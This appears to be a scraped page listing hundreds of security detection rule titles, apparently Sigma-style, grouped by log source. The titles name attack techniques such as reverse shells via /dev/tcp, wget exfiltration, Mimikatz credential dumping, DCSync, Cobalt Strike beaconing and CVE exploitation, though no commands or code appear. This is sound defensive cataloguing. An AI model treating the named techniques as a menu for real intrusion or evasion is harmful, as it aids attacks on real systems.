Flow Applications That Are Using ROPC Authentication Flow Account Disabled or Blocked for Sign in Attempts Sign-in Failure Due to Conditional Access Requirements Not Met Use of Legacy Authentication Protocols Login to Disabled Account Multifactor Authentication Denied Azure Unusual Authentication Interruption Multifactor Authentication Interrupted Users Authenticating To Other Azure AD Tenants User Access Blocked by Azure Conditional Access Bitbucket Full Data Export Triggered Bitbucket Global Permission Changed Bitbucket Global Secret Scanning Rule Deleted Bitbucket Global SSH Settings Changed Bitbucket Audit Log Configuration Updated Bitbucket Project Secret Scanning Allowlist Added Bitbucket Secret Scanning Exempt Repository Added Bitbucket Secret Scanning Rule Deleted Bitbucket Unauthorized Access To A Resource Bitbucket Unauthorized Full Data Export Triggered Bitbucket User Details Export Attempt Detected Bitbucket User Login Failure Bitbucket User Login Failure Via SSH Bitbucket User Permissions Export Attempt Cisco Duo Successful MFA Authentication Via Bypass Code GCP Access Policy Deleted GCP Break-glass Container Workload Deployed Google Cloud Storage Buckets Enumeration Google Cloud Storage Buckets Modified or Deleted Google Cloud Re-identifies Sensitive Information Google Cloud DNS Zone Modified or Deleted Google Cloud Firewall Modified or Deleted Google Full Network Traffic Packet Capture Google Cloud Kubernetes Admission Controller Google Cloud Kubernetes CronJob Google Cloud Kubernetes RoleBinding Google Cloud Kubernetes Secrets Modified or Deleted Google Cloud Service Account Disabled or Deleted Google Cloud Service Account Modified Google Cloud SQL Database Modified or Deleted Google Cloud VPN Tunnel Modified or Deleted Google Workspace Application Access Level Modified Google Workspace Application Removed Google Workspace Granted Domain API Access Google Workspace MFA Disabled Google Workspace Role Modified or Deleted Google Workspace Role Privilege Deleted Google Workspace User Granted Admin Privileges Github Delete Action Invoked Outdated Dependency Or Vulnerability Alert Disabled Github High Risk Configuration Disabled Github Fork Private Repositories Setting Enabled/Cleared New Github Organization Member Added Github New Secret Created Github Outside Collaborator Detected Github Push Protection Bypass Detected Github Push Protection Disabled Github Repository/Organization Transferred Github Secret Scanning Feature Disabled Github Self Hosted Runner Changes Detected Github SSH Certificate Configuration Changed Azure Login Bypassing Conditional Access Policies Disabling Multi Factor Authentication New Federated Domain Added New Federated Domain Added - Exchange Activity from Suspicious IP Addresses Activity Performed by Terminated User Activity from Anonymous IP Addresses Data Exfiltration to Unsanctioned Apps Activity from Infrequent Country Microsoft 365 - Impossible Travel Activity Logon from a Risky IP Address Microsoft 365 - Potential Ransomware Activity PST Export Alert Using eDiscovery Alert PST Export Alert Using New-ComplianceSearchAction Suspicious Inbox Forwarding Suspicious OAuth App File Download Activities Microsoft 365 - Unusual Volume of File Deletion Microsoft 365 - User Restricted from Sending Email Okta Admin Functions Access Through Proxy Okta Admin Role Assigned to an User or Group Okta Admin Role Assignment Created Okta API Token Created Okta API Token Revoked Okta Application Modified or Deleted Okta Application Sign-On Policy Modified or Deleted Okta FastPass Phishing Detection Okta Identity Provider Created Okta Network Zone Deactivated or Deleted Okta MFA Reset or Deactivated Okta New Admin Console Behaviours Potential Okta Password in AlternateID Field Okta Policy Rule Modified or Deleted Okta Policy Modified or Deleted Okta Security Threat Detected Okta Suspicious Activity Reported by End-user Okta Unauthorized Access to App Okta User Account Locked Out New Okta User Created Okta User Session Start Via An Anonymising Proxy Service OneLogin User Assumed Another User OneLogin User Account Locked Default Credentials Usage Host Without Firewall Cleartext Protocol Usage Via Netflow Audio Capture Auditing Configuration Changes on Linux Host Binary Padding - Linux BPFDoor Abnormal Process ID or Lock File Accessed Bpfdoor TCP Ports Redirect Linux Capabilities Discovery File Time Attribute Change - Linux Remove Immutable File Attribute - Auditd Clipboard Collection with Xclip Tool - Auditd Clipboard Collection of Image Data with Xclip Tool Possible Coin Miner CPU Priority Param Creation Of An User Account Data Compressed Data Exfiltration with Wget Overwriting the File with Dev Zero or Null Disable System Firewall File or Folder Permissions Change Credentials In Files - Linux Use Of Hidden Paths Or Files Hidden Files and Directories Steganography Hide Zip Information in Picture File Linux Keylogging with Pam.d Modification of ld.so.preload Loading of Kernel Module via Insmod Logging Configuration Changes on Linux Host Masquerading as Linux Crond Process Modify System Firewall Linux Network Service Scanning - Auditd Network Sniffing - Linux Password Policy Discovery - Linux Systemd Service Reload or Start Screen Capture with Import Tool Screen Capture with Xwd Split A File Into Pieces - Linux Steganography Hide Files with Steghide Steganography Extract Files with Steghide Suspicious C2 Activities Suspicious Commands Linux Program Executions in Suspicious Folders Suspicious History File Operations - Linux Systemd Service Creation System Information Discovery - Auditd System and Hardware Information Discovery System Shutdown/Reboot - Linux Unix Shell Configuration Modification Steganography Unzip Hidden Information From Picture File System Owner or User Discovery - Linux Webshell Remote Command Execution Equation Group Indicators Buffer Overflow Attempts Commands to Clear or Remove the Syslog - Builtin Remote File Copy Code Injection by ld.so Preload Nimbuspwn Exploitation Potential Suspicious BPF Activity - Linux Shellshock Expression Privileged User Has Been Created Linux Command History Tampering Suspicious Activity in Shell Commands Suspicious Log Entries Suspicious Reverse Shell Command Line Space After Filename Suspicious Use of /dev/tcp JexBoss Command Sequence Symlink Etc Passwd PwnKit Local Privilege Escalation Relevant ClamAV Message Modifying Crontab Guacamole Two Users Sharing Session Anomaly SSHD Error Message CVE-2018-15473 Suspicious OpenSSH Daemon Error Sudo Privilege Escalation CVE-2019-14287 - Builtin Disabling Security Tools - Builtin Suspicious Named Error Suspicious VSFTPD Error Messages Cisco Clear Logs Cisco Collect Data Cisco Crypto Commands Cisco Disabling Logging Cisco Discovery Cisco Denial of Service Cisco File Deletion Cisco Show Commands Input Cisco Local Accounts Cisco Modify Configuration Cisco Stage Data Cisco Sniffing Cisco BGP Authentication Failures Cisco LDP Authentication Failures DNS Query to External Service Interaction Domains Cobalt Strike DNS Beaconing Monero Crypto Coin Mining Pool Lookup Suspicious DNS Query with B64 Encoded String Telegram Bot API Request DNS TXT Answer with Possible Execution Strings Wannacry Killswitch Domain Cleartext Protocol Usage Huawei BGP Authentication Failures Juniper BGP Missing MD5 MITRE BZAR Indicators for Execution MITRE BZAR Indicators for Persistence Potential PetitPotam Attack Via EFS RPC Calls Possible PrintNightmare Print Driver Install SMB Spoolss Name Piped Usage Default Cobalt Strike Certificate DNS Events Related To Mining Pools New Kind of Network (NKN) Detection Suspicious DNS Z Flag Bit Set DNS TOR Proxies Executable from Webdav OMIGOD HTTP No Authentication RCE WebDav Put Request Publicly Accessible RDP Service Remote Task Creation via ATSVC Named Pipe - Zeek Possible Impacket SecretDump Remote Activity - Zeek First Time Seen Remote Named Pipe - Zeek Suspicious PsExec Execution - Zeek Suspicious Access to Sensitive File Extensions - Zeek Transferring Files with Credential Data via Network Shares - Zeek Kerberos Network Traffic RC4 Ticket Encryption Apache Segmentation Fault Apache Threading Error Nginx Core Dump Download from Suspicious Dyndns Hosts Windows WebDAV User Agent Download From Suspicious TLD - Blacklist Download From Suspicious TLD - Whitelist F5 BIG-IP iControl Rest API Command Execution - Proxy HackTool - CobaltStrike Malleable Profile Patterns - Proxy HackTool - BabyShark Agent Default URL Pattern HackTool - Empire UserAgent URI Combo PUA - Advanced IP/Port Scanner Update Check PwnDrp Access Raw Paste Service Access Flash Player Update from Suspicious Location Suspicious Network Communication With IPFS Telegram API Access APT User Agent Suspicious Base64 Encoded User-Agent Bitsadmin to Uncommon IP Server Address Bitsadmin to Uncommon TLD Crypto Miner User Agent HTTP Request With Empty User Agent Exploit Framework User Agent Hack Tool User Agent Malware User Agent Windows PowerShell User Agent Rclone Activity via Proxy Suspicious User Agent Potential Base64 Encoded User-Agent Suspicious External WebDAV Execution F5 BIG-IP iControl Rest API Command Execution - Webserver Successful IIS Shortname Fuzzing Scan Java Payload Strings JNDIExploit Pattern Path Traversal Exploitation Attempts Source Code Enumeration Detection by Keyword SQL Injection Strings In URI Server Side Template Injection Strings Suspicious User-Agents Related To Recon Tools Suspicious Windows Strings In URI Webshell ReGeorg Detection Via Web Logs Windows Webshell Strings Cross Site Scripting Strings Mimikatz Use Microsoft Malware Protection Engine Crash Potential Credential Dumping Via WER - Application Ntdsutil Abuse Dump Ntds.dit To Suspicious Location Audit CVE Event Backup Catalog Deleted Application Uninstalled Restricted Software Access By SRP MSI Installation From Suspicious Locations MSI Installation From Web Atera Agent Installation MSSQL Add Account To Sysadmin Role MSSQL Disable Audit Settings MSSQL Server Failed Logon MSSQL Server Failed Logon From External Network MSSQL SPProcoption Set MSSQL XPCmdshell Suspicious Execution MSSQL XPCmdshell Option Change Relevant Anti-Virus Signature Keywords In Application Log Remote Access Tool - ScreenConnect Command Execution Remote Access Tool - ScreenConnect File Transfer Microsoft Malware Protection Engine Crash - WER File Was Not Allowed To Run Sysinternals Tools AppX Versions Execution Deployment AppX Package Was Blocked By AppLocker Potential Malicious AppX Package Installation Attempts Deployment Of The AppX Package Was Blocked By The Policy Suspicious AppX Package Installation Attempt Suspicious Remote AppX Package Locations Suspicious AppX Package Locations Uncommon AppX Package Locations Suspicious Digital Signature Of AppX Package New BITS Job Created Via Bitsadmin New BITS Job Created Via PowerShell BITS Transfer Job Downloading File Potential Suspicious Extension BITS Transfer Job Download From File Sharing Domains BITS Transfer Job Download From Direct IP BITS Transfer Job With Uncommon Or Suspicious Remote TLD BITS Transfer Job Download To Potential Suspicious Folder Certificate Private Key Acquired Certificate Exported From Local Certificate Store CodeIntegrity - Unmet Signing Level Requirements By File Under Validation CodeIntegrity - Disallowed File For Protected Processes Has Been Blocked CodeIntegrity - Blocked Image/Driver Load For Policy Violation CodeIntegrity - Blocked Driver Load With Revoked Certificate CodeIntegrity - Revoked Kernel Driver Loaded CodeIntegrity - Blocked Image Load With Revoked Certificate CodeIntegrity - Revoked Image Loaded CodeIntegrity - Unsigned Kernel Module Loaded CodeIntegrity - Unsigned Image Loaded CodeIntegrity - Unmet WHQL Requirements For Loaded Kernel Module Loading Diagcab Package From Remote Path DNS Query for Anonfiles.com Domain - DNS Client DNS Query To MEGA Hosting Website - DNS Client DNS Query To Put.io - DNS Client Query Tor Onion Address - DNS Client DNS Query To Ufile.io - DNS Client Suspicious Cobalt Strike DNS Beaconing - DNS Client Failed DNS Zone Transfer DNS Server Error Failed Loading the ServerLevelPluginDLL USB Device Plugged Uncommon New Firewall Rule Added In Windows Firewall Exception List New Firewall Rule Added In Windows Firewall Exception List For Potential Suspicious Application New Firewall Rule Added In Windows Firewall Exception List Via WmiPrvSE.EXE All Rules Have Been Deleted From The Windows Firewall Configuration A Rule Has Been Deleted From The Windows Firewall Exception List The Windows Defender Firewall Service Failed To Load Group Policy Windows Defender Firewall Has Been Reset To Its Default Configuration Windows Firewall Settings Have Been Changed ETW Logging/Processing Option Disabled On IIS Server HTTP Logging Disabled On IIS Server New Module Module Added To IIS Server Previously Installed IIS Module Was Removed Potential Active Directory Reconnaissance/Enumeration Via LDAP Standard User In High Privileged Group ProxyLogon MSExchange OabVirtualDirectory Mailbox Export to Exchange Webserver Certificate Request Export to Exchange Webserver Remove Exported Mailbox from Exchange Webserver Exchange Set OabVirtualDirectory ExternalUrl Property MSExchange Transport Agent Installation - Builtin Failed MSExchange Transport Agent Installation NTLM Logon NTLM Brute Force Potential Remote Desktop Connection to Non-Domain Host OpenSSH Server Listening On Socket Azure AD Health Monitoring Agent Registry Keys Access Azure AD Health Service Agents Registry Keys Access Powerview Add-DomainObjectAcl DCSync AD Extend Right AD Privileged Users or Groups Reconnaissance ADCS Certificate Template Configuration Vulnerability ADCS Certificate Template Configuration Vulnerability with Risky EKU Add or Remove Computer from DC Access To ADMIN$ Network Share AD Object WriteDAC Access Active Directory Replication from Non Machine Account Potential AD User Enumeration From Non-Machine Account Enabled User Right in AD to Control User Objects Active Directory User Backdoors Weak Encryption Enabled and Kerberoast Hacktool Ruler Remote Task Creation via ATSVC Named Pipe Security Eventlog Cleared Processes Accessing the Microphone and Webcam Failed Code Integrity Checks CobaltStrike Service Installations - Security DCERPC SMB Spoolss Named Pipe DCOM InternetExplorer.Application Iertutil DLL Hijack - Security Mimikatz DC Sync Device Installation Blocked Windows Event Auditing Disabled Important Windows Event Auditing Disabled ETW Logging Disabled In .NET Processes - Registry DPAPI Domain Backup Key Extraction DPAPI Domain Master Key Backup Attempt External Disk Drive Or USB Storage Device Was Recognized By The System Persistence and Execution at Scale via GPO Scheduled Task Hidden Local User Creation HackTool - EDRSilencer Execution - Filter Added HackTool - NoFilter Execution HybridConnectionManager Service Installation Impacket PsExec Execution Possible Impacket SecretDump Remote Activity Invoke-Obfuscation CLIP+ Launcher - Security Invoke-Obfuscation Obfuscated IEX Invocation - Security Invoke-Obfuscation STDIN+ Launcher - Security Invoke-Obfuscation VAR+ Launcher - Security Invoke-Obfuscation COMPRESS OBFUSCATION - Security Invoke-Obfuscation RUNDLL LAUNCHER - Security Invoke-Obfuscation Via Stdin - Security Invoke-Obfuscation Via Use Clip - Security Invoke-Obfuscation Via Use MSHTA - Security Invoke-Obfuscation Via Use Rundll32 - Security Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - Security ISO Image Mounted Kerberoasting Activity - Initial Query First Time Seen Remote Named Pipe LSASS Access From Non System Account Credential Dumping Tools Service Execution - Security WCE wceaux.dll Access Metasploit SMB Authentication Metasploit Or Impacket Service Installation Via SMB PsExec Meterpreter or Cobalt Strike Getsystem Service Installation - Security NetNTLM Downgrade Attack Windows Network Access Suspicious desktop.ini Action New or Renamed User Account with '$' Character Denied Access To Remote Desktop Password Policy Enumerated Windows Pcap Drivers Possible PetitPotam Coerce Authentication Attempt PetitPotam Suspicious Kerberos TGT Request Possible DC Shadow Attack PowerShell Scripts Installed as Services - Security Protected Storage Service Access RDP over Reverse SSH Tunnel WFP Register new Logon Process by Rubeus Service Registry Key Read Access Request Remote PowerShell Sessions Network Connections (WinRM) Replay Attack Detected SAM Registry Hive Handle Request SCM Database Handle Failure SCM Database Privileged Operation Potential Secure Deletion with SDelete Service Installed By Unusual Client - Security Remote Access Tool Services Have Been Installed - Security SMB Create Remote File Admin Share A New Trust Was Created To A Domain Win Susp Computer Name Containing Samtheadmin Addition of SID History to Active Directory Object Password Change on Directory Service Restore Mode (DSRM) Account Account Tampering - Suspicious Failed Logon Reasons Group Policy Abuse for Privilege Addition Startup/Logon Script Added to Group Policy Object Kerberos Manipulation Suspicious LDAP-Attributes Used Suspicious Windows ANONYMOUS LOGON Local Account Created Password Dumper Activity on LSASS Suspicious Remote Logon with Explicit Credentials Potentially Suspicious AccessMask Requested From LSASS Reconnaissance Activity Password Protected ZIP File Opened Password Protected ZIP File Opened (Suspicious Filenames) Password Protected ZIP File Opened (Email Attachment) Uncommon Outbound Kerberos Connection - Security Possible Shadow Credentials Added Suspicious PsExec Execution Suspicious Access to Sensitive File Extensions Suspicious Kerberos RC4 Ticket Encryption Suspicious Scheduled Task Creation Important Scheduled Task Deleted/Disabled Suspicious Scheduled Task Update Unauthorized System Time Modification Remote Service Activity via SVCCTL Named Pipe SysKey Registry Keys Access Sysmon Channel Reference Deletion Tap Driver Installation - Security Suspicious Teams Application Related ObjectAcess Event Transferring Files with Credential Data via Network Shares User Added to Local Administrator Group User Couldn't Call a Privileged Service 'LsaRegisterLogonProcess' Local User Creation Potential Privileged System Service Operation - SeLoadDriverPrivilege User Logoff Event VSSAudit Security Event Source Registration Windows Defender Exclusion List Modified Windows Defender Exclusion Deleted T1047 Wmiprvse Wbemcomn DLL Hijack Locked Workstation WMI Persistence - Security Windows Defender Exclusion Registry Key - Write Access Requested Admin User Remote Logon DiagTrackEoP Default Login Username A Member Was Removed From a Security-Enabled Global Group Potential Access Token Abuse RDP Login from Localhost Successful Overpass the Hash Attempt Scanner PoC for CVE-2019-0708 RDP RCE Vuln A Member Was Added to a Security-Enabled Global Group A Security-Enabled Global Group Was Deleted External Remote RDP Logon from Public IP Pass the Hash Activity 2 External Remote SMB Logon from Public IP Failed Logon From Public IP Potential Privilege Escalation via Local Kerberos Relay over LDAP Outgoing Logon with New Credentials RottenPotato Like Attack Pattern Successful Account Login Via WMI Windows Filtering Platform Blocked Connection From EDR Agent Binary Microsoft Defender Blocked from Loading Unsigned DLL Unsigned Binary Loaded From Suspicious Location HybridConnectionManager Service Running Suspicious Application Installed Suspicious Rejected SMB Guest Logon From IP Sysmon Application Crashed NTLMv1 Logon Between Client and Server Active Directory Certificate Services Denied Certificate Enrollment Request DHCP Server Error Failed Loading the CallOut DLL DHCP Server Loaded the CallOut DLL Potential CVE-2021-42287 Exploitation Attempt Local Privilege Escalation Indicator TabTip Eventlog Cleared Important Windows Eventlog Cleared KDC RC4-HMAC Downgrade CVE-2022-37966 Certificate Use With No Strong Mapping No Suitable Encryption Key Found For Generating Kerberos Ticket Critical Hive In Suspicious Location Access Bits Cleared Volume Shadow Copy Mount Suspicious Usage of CVE_2021_34484 or CVE 2022_21919 Windows Update Error Zerologon Exploitation Using Well-known Tools Vulnerable Netlogon Secure Channel Connection Allowed NTFS Vulnerability Exploitation Windows Defender Threat Detection Service Disabled CobaltStrike Service Installations - System smbexec.py Service Installation Invoke-Obfuscation CLIP+ Launcher - System Invoke-Obfuscation Obfuscated IEX Invocation - System Invoke-Obfuscation STDIN+ Launcher - System Invoke-Obfuscation VAR+ Launcher - System Invoke-Obfuscation COMPRESS OBFUSCATION - System Invoke-Obfuscation Via Stdin - System Invoke-Obfuscation RUNDLL LAUNCHER - System Invoke-Obfuscation Via Use Clip - System Invoke-Obfuscation Via Use MSHTA - System Invoke-Obfuscation Via Use Rundll32 - System Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - System KrbRelayUp Service Installation Credential Dumping Tools Service Execution - System Meterpreter or Cobalt Strike Getsystem Service Installation - System Moriya Rootkit - System PowerShell Scripts Installed as Services Anydesk Remote Access Software Service Installation CSExec Service Installation HackTool Service Registration or Execution Mesh Agent Service Installation NetSupport Manager Service Install PAExec Service Installation New PDQDeploy Service - Server Side New PDQDeploy Service - Client Side ProcessHacker Privilege Elevation RemCom Service Installation Remote Access Tool Services Have Been Installed - System Remote Utilities Host Service Install Sliver C2 Default Service Installation Service Installed By Unusual Client - System Suspicious Service Installation PsExec Service Installation Tap Driver Installation TacticalRMM Service Installation Uncommon Service Installation Image Path Important Windows Service Terminated With Error Windows Service Terminated With Error Important Windows Service Terminated Unexpectedly RTCore Suspicious Service Installation Service Installation in Suspicious Folder Service Installation with Suspicious Folder Pattern Suspicious Service Installation Script Potential RDP Exploit CVE-2019-0708 Scheduled Task Executed From A Suspicious Location Scheduled Task Executed Uncommon LOLBIN Important Scheduled Task Deleted Ngrok Usage with Remote Desktop Service Windows Defender Grace Period Expired LSASS Access Detected via Attack Surface Reduction PSExec and WMI Process Creations Block Windows Defender Exclusions Added Windows Defender Exploit Guard Tamper Windows Defender Submit Sample Feature Disabled Windows Defender Malware And PUA Scanning Disabled Windows Defender Malware Detection History Deletion Windows Defender AMSI Trigger Detected Windows Defender Real-time Protection Disabled Windows Defender Real-Time Protection Failure/Restart Win Defender Restored Quarantine File Windows Defender Configuration Changes Microsoft Defender Tamper Protection Trigger Windows Defender Threat Detected Windows Defender Virus Scanning Feature Disabled WMI Persistence Potential RemoteFXvGPUDisablement.EXE Abuse Zip A Folder With PowerShell For Staging In Temp - PowerShell Suspicious Non PowerShell WSMAN COM Provider Sysmon Configuration Change Sysmon Blocked Executable Sysmon Blocked File Shredding Sysmon File Executable Creation Detected Rejetto HTTP File Server RCE CVE-2010-5278 Exploitation Attempt CosmicDuke Service Installation StoneDrill Service Install Equation Group C2 Communication Turla Service Install Turla PNG Dropper Service Fortinet CVE-2018-13379 Exploitation Oracle WebLogic Exploit OilRig APT Schedule Task Persistence - Security OilRig APT Schedule Task Persistence - System Defrag Deactivation - Security Pulse Secure Attack CVE-2019-11510 Citrix Netscaler Attack CVE-2019-19781 Confluence Exploitation CVE-2019-3398 Chafer Malware URL Pattern Ursnif Malware C2 URL Pattern Ursnif Malware Download URL Pattern APT40 Dropbox Tool User Agent Operation Wocao Activity - Security CVE-2020-0688 Exploitation Attempt CVE-2020-0688 Exchange Exploitation via Web Log CVE-2020-0688 Exploitation via Eventlog CVE-2020-10148 SolarWinds Orion API Auth Bypass CVE-2020-5902 F5 BIG-IP Exploitation Attempt Citrix ADS Exploitation CVE-2020-8193 CVE-2020-8195 ComRAT Network Communication TerraMaster TOS CVE-2020-28188 Cisco ASA FTD Exploit CVE-2020-3452 Oracle WebLogic Exploit CVE-2020-14882 GALLIUM Artefacts - Builtin Solarwinds SUPERNOVA Webshell Access Arcadyan Router Exploitations Possible Exploitation of Exchange RCE CVE-2021-42321 Antivirus PrinterNightmare CVE-2021-34527 Exploit Detection Possible CVE-2021-1675 Print Spooler Exploitation CVE-2021-1675 Print Spooler Exploitation CVE-2021-1675 Print Spooler Exploitation IPC Access Oracle WebLogic Exploit CVE-2021-2109 CVE-2021-21972 VSphere Exploitation CVE-2021-21978 Exploitation Attempt VMware vCenter Server File Upload CVE-2021-22005 Fortinet CVE-2021-22123 Exploitation Pulse Connect Secure RCE Attack CVE-2021-22893 Potential CVE-2021-26084 Exploitation Attempt Exploitation of CVE-2021-26814 in Wazuh ProxyLogon Reset Virtual Directories Based On IIS Log Potential CVE-2021-27905 Exploitation Attempt Exchange Exploitation CVE-2021-28480 CVE-2021-33766 Exchange ProxyToken Exploitation ADSelfService Exploitation CVE-2021-40539 Zoho ManageEngine ADSelfService Plus Exploit LPE InstallerFileTakeOver PoC CVE-2021-41379 CVE-2021-41773 Exploitation Attempt Sitecore Pre-Auth RCE CVE-2021-42237 Potential CVE-2021-42278 Exploitation Attempt Suspicious Computer Account Name Change CVE-2021-42287 Grafana Path Traversal Exploitation CVE-2021-43798 Log4j RCE CVE-2021-44228 Generic Log4j RCE CVE-2021-44228 in Fields Exchange ProxyShell Pattern Successful Exchange ProxyShell Attack SonicWall SSL/VPN Jarrewrite Exploitation Devil Bait Potential C2 Communication Traffic Goofy Guineapig Backdoor Potential C2 Communication Goofy Guineapig Backdoor Service Creation Small Sieve Malware Potential C2 Communication Exchange Exploitation Used by HAFNIUM DEWMODE Webshell Access Potential CVE-2022-21587 Exploitation Attempt Zimbra Collaboration Suite Email Server Unauthenticated RCE CVE-2022-31659 VMware Workspace ONE Access RCE CVE-2022-31656 VMware Workspace ONE Access Auth Bypass Apache Spark Shell Command Injection - Weblogs Atlassian Bitbucket Command Injection Via Archive API Potential OWASSRF Exploitation Attempt - Proxy OWASSRF Exploitation Attempt Using Public POC - Proxy Potential OWASSRF Exploitation Attempt - Webserver OWASSRF Exploitation Attempt Using Public POC - Webserver Exploitation Indicator Of CVE-2022-42475 Potential Centos Web Panel Exploitation Attempt - CVE-2022-44877 Potential CVE-2022-46169 Exploitation Attempt MSSQL Extended Stored Procedure Backdoor Maggie BlueSky Ransomware Artefacts MSMQ Corrupted Packet Encountered CVE-2023-1389 Potential Exploitation Attempt - Unauthenticated Command Injection In TP-Link Archer AX21 Exploitation Indicators Of CVE-2023-20198 CVE-2023-22518 Exploitation Attempt - Vulnerable Endpoint Connection (Proxy) CVE-2023-22518 Exploitation Attempt - Vulnerable Endpoint Connection (Webserver) Potential CVE-2023-2283 Exploitation CVE-2023-23397 Exploitation Attempt Potential CVE-2023-23397 Exploitation Attempt - SMB Potential CVE-2023-23752 Exploitation Attempt Potential CVE-2023-25157 Exploitation Attempt Potential CVE-2023-25717 Exploitation Attempt Potential CVE-2023-27997 Exploitation Indicators MOVEit CVE-2023-34362 Exploitation Attempt - Potential Web Shell Request Potential CVE-2023-36884 Exploitation Pattern Potential CVE-2303-36884 URL Request Pattern Traffic Potential CVE-2023-36884 Exploitation - File Downloads Potential CVE-2023-36884 Exploitation - URL Marker Potential CVE-2023-36884 Exploitation - Share Access CVE-2023-40477 Potential Exploitation - WinRAR Application Crash Potential Information Disclosure CVE-2023-43261 Exploitation - Proxy Potential Information Disclosure CVE-2023-43261 Exploitation - Web Potential CVE-2023-46214 Exploitation Attempt Exploitation Attempt Of CVE-2023-46214 Using Public POC Code CVE-2023-46747 Exploitation Activity - Proxy CVE-2023-46747 Exploitation Activity - Webserver CVE-2023-4966 Exploitation Attempt - Citrix ADC Sensitive Information Disclosure - Proxy CVE-2023-4966 Potential Exploitation Attempt - Citrix ADC Sensitive Information Disclosure - Proxy CVE-2023-4966 Potential Exploitation Attempt - Citrix ADC Sensitive Information Disclosure - Webserver CVE-2023-4966 Exploitation Attempt - Citrix ADC Sensitive Information Disclosure - Webserver COLDSTEEL Persistence Service Creation SNAKE Malware Service Persistence Potential Compromised 3CXDesktopApp Beaconing Activity - Proxy Potential Compromised 3CXDesktopApp ICO C2 File Download Scheduled Tasks Names Used By SVR For GraphicalProton Backdoor Scheduled Tasks Names Used By SVR For GraphicalProton Backdoor - Task Scheduler Diamond Sleet APT Scheduled Task Creation Potential Operation Triangulation C2 Beaconing Activity - DNS Potential Operation Triangulation C2 Beaconing Activity - Proxy Okta 2023 Breach Indicator Of Compromise Potential Peach Sandstorm APT C2 Communication Activity CVE-2024-1212 Exploitation - Progress Kemp LoadMaster Unauthenticated Command Injection CVE-2024-1708 - ScreenConnect Path Traversal Exploitation - Security CVE-2024-1709 - ScreenConnect Authentication Bypass Exploitation ScreenConnect User Database Modification - Security Potential Exploitation of CVE-2024-37085 - Suspicious ESX Admins Group Activity CVE-2024-49113 Exploitation Attempt - LDAP Nightmare Kapeka Backdoor Scheduled Task Creation Account Created And Deleted By Non Approved Users Authentication Occuring Outside Normal Business Hours Privilege Role Elevation Not Occuring on SAW or PAW Privilege Role Sign-In Outside Expected Controls Privilege Role Sign-In Outside Of Normal Hours User with Privileges Logon Potential Zerologon (CVE-2020-1472) Exploitation Potential Pass the Hash Activity Remote Registry Management Using Reg Utility Interactive Logon to Server Systems Mail Forwarding/Redirecting Activity In O365 Okta Password Health Report Query .Class Extension URI Ending Request Firewall Rule Modified In The Windows Firewall Exception List Access To Browser Credential Files By Uncommon Applications - Security Scheduled Task Deletion Potential Remote WMI ActiveScriptEventConsumers Activity AWS EC2 Download Userdata Potential Backup Enumeration on AWS Account Enumeration on AWS Potential Network Enumeration on AWS Potential Storage Enumeration on AWS AWS Lambda Function Created or Invoked AWS Macie Evasion Potential AWS Cloud Email Service Abuse Sign-in Failure Bad Password Threshold CVE-2021-3156 Exploitation Attempt CVE-2021-3156 Exploitation Attempt Bruteforcing Potential CVE-2021-4034 Exploitation Attempt Use of Debugfs to Access a Raw Disk OMIGOD SCX RunAsProvider ExecuteScript Failed Logins with Different Accounts from Single Source - Linux Privilege Escalation Preparation Possible DNS Tunneling High DNS Bytes Out High NULL Records Requests Rate High DNS Requests Rate High DNS subdomain requests rate per domain High TXT Records Requests Rate Large domain name request High DNS Bytes Out - Firewall High DNS Requests Rate - Firewall Network Scans Count By Destination IP Possible DNS Rebinding Network Scans Count By Destination Port Multiple Modsecurity Blocks Multiple Suspicious Resp Codes Caused by Single Client Stored Credentials in Fake Files Dumping ntds.dit remotely via DCSync Dumping ntds.dit remotely via NetSync Malicious Service Installations Metasploit Or Impacket Service Installation Via SMB PsExec Remote Schtasks Creation Enumeration via the Global Catalog Rare Schtasks Creations Password Spraying via Explicit Credentials Multiple Users Failing to Authenticate from Single Process Failed Logins with Different Accounts from Single Source System Failed NTLM Logins with Different Accounts from Single Source System Valid Users Failing to Authenticate From Single Source Using Kerberos Disabled Users Failing To Authenticate From Source Using Kerberos Invalid Users Failing To Authenticate From Source Using Kerberos Valid Users Failing to Authenticate from Single Source Using NTLM Invalid Users Failing To Authenticate From Single Source Using NTLM Multiple Users Remotely Failing To Authenticate From Single Source Suspicious Multiple File Rename Or Delete Occurred Possible Remote Password Change Through SAMR Failed Mounting of Hidden Share Rare Service Installations Rare Scheduled Task Creations Domain User Enumeration Network Recon 01 Potential Exfiltration of Compressed Files
windows-registry_set	215	Show Rules (215) Abusing Windows Telemetry For Persistence - Registry User Account Hidden By Registry Service Binary in Uncommon Folder Disable Microsoft Office Security Features Adwind RAT / JRAT - Registry Office Security Settings Changed Potential Persistence Via COM Hijacking From Suspicious Locations Potential Persistence Via COM Search Order Hijacking SilentProcessExit Monitor Registration Enable Remote Connection Between Anonymous Computer - AllowAnonymousCallback Registry Persistence via Service in Safe Mode Add Port Monitor Persistence in Registry Add Debugger Entry To AeDebug For Persistence Allow RDP Remote Assistance Feature Potential AMSI COM Server Hijacking CurrentVersion Autorun Keys Modification Common Autorun Keys Modification Classes Autorun Keys Modification CurrentControlSet Autorun Keys Modification CurrentVersion NT Autorun Keys Modification Internet Explorer Autorun Keys Modification Office Autorun Keys Modification Session Manager Autorun Keys Modification System Scripts Autorun Keys Modification WinSock2 Autorun Keys Modification Wow6432Node CurrentVersion Autorun Keys Modification Wow6432Node Classes Autorun Keys Modification New BgInfo.EXE Custom DB Path Registry Configuration Wow6432Node Windows NT CurrentVersion Autorun Keys Modification New BgInfo.EXE Custom WMI Query Registry Configuration New BgInfo.EXE Custom VBScript Registry Configuration Bypass UAC Using Event Viewer Blackbyte Ransomware Registry Bypass UAC Using DelegateExecute Bypass UAC Using SilentCleanup Task Default RDP Port Changed to Non Standard Port IE Change Domain Zone Sysmon Driver Altitude Change Change Winevt Channel Access Permission Via Registry Running Chrome VPN Extensions via the Registry 2 VPN Extension ClickOnce Trust Prompt Tampering Potential CobaltStrike Service Installations - Registry COM Hijack via Sdclt CrashControl CrashDump Disabled Service Binary in Suspicious Folder Custom File Open Handler Executes PowerShell Potential Registry Persistence Attempt Via DbgManagedDebugger Windows Defender Exclusions Added - Registry Potentially Suspicious Desktop Background Change Via Registry Antivirus Filter Driver Disallowed On Dev Drive - Registry Hypervisor Enforced Code Integrity Disabled Hypervisor Enforced Paging Translation Disabled DHCP Callout DLL Installation Disable Exploit Guard Network Protection on Windows Defender Disable Administrative Share Creation at Startup Disabled Windows Defender Eventlog Disable PUA Protection on Windows Defender Disable Tamper Protection 